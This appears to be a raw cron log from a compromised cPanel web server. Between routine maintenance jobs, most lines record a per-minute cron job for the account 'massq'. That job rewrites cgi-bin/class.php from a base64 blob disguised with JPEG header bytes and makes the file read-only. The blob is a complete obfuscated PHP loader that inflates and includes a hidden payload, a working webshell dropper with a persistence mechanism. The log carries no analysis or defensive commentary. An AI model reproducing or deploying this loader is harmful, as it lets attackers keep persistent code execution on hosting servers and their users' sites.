Sep  9 21:02:02 server CROND[20061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:02:02 server CROND[20060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:02:02 server CROND[20062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:03:01 server CROND[20447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:03:01 server CROND[20448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:03:01 server CROND[20449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:04:01 server CROND[20834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:04:01 server CROND[20835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:04:01 server CROND[20836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:05:01 server CROND[21228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:05:01 server CROND[21230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:05:01 server CROND[21233]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:05:01 server CROND[21235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:05:01 server CROND[21236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:05:01 server CROND[21234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:05:01 server CROND[21231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:05:01 server CROND[21232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:06:01 server CROND[22150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:06:01 server CROND[22151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:06:01 server CROND[22153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:07:01 server CROND[22627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:07:01 server CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:07:01 server CROND[22630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:08:01 server CROND[23193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:08:01 server CROND[23194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:08:01 server CROND[23195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:09:01 server CROND[23577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:09:01 server CROND[23578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:09:01 server CROND[23579]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 21:09:01 server CROND[23580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:10:01 server CROND[23969]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:10:01 server CROND[23972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:10:01 server CROND[23974]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:10:01 server CROND[23975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:10:01 server CROND[23978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:10:01 server CROND[23980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:10:01 server CROND[23981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:10:01 server CROND[23976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:11:01 server CROND[24801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:11:01 server CROND[24802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:11:01 server CROND[24803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:12:01 server CROND[25241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:12:01 server CROND[25240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:12:01 server CROND[25242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:12:01 server CROND[25243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:13:01 server CROND[25712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:13:01 server CROND[25713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:13:01 server CROND[25714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:14:01 server CROND[26098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:14:01 server CROND[26099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
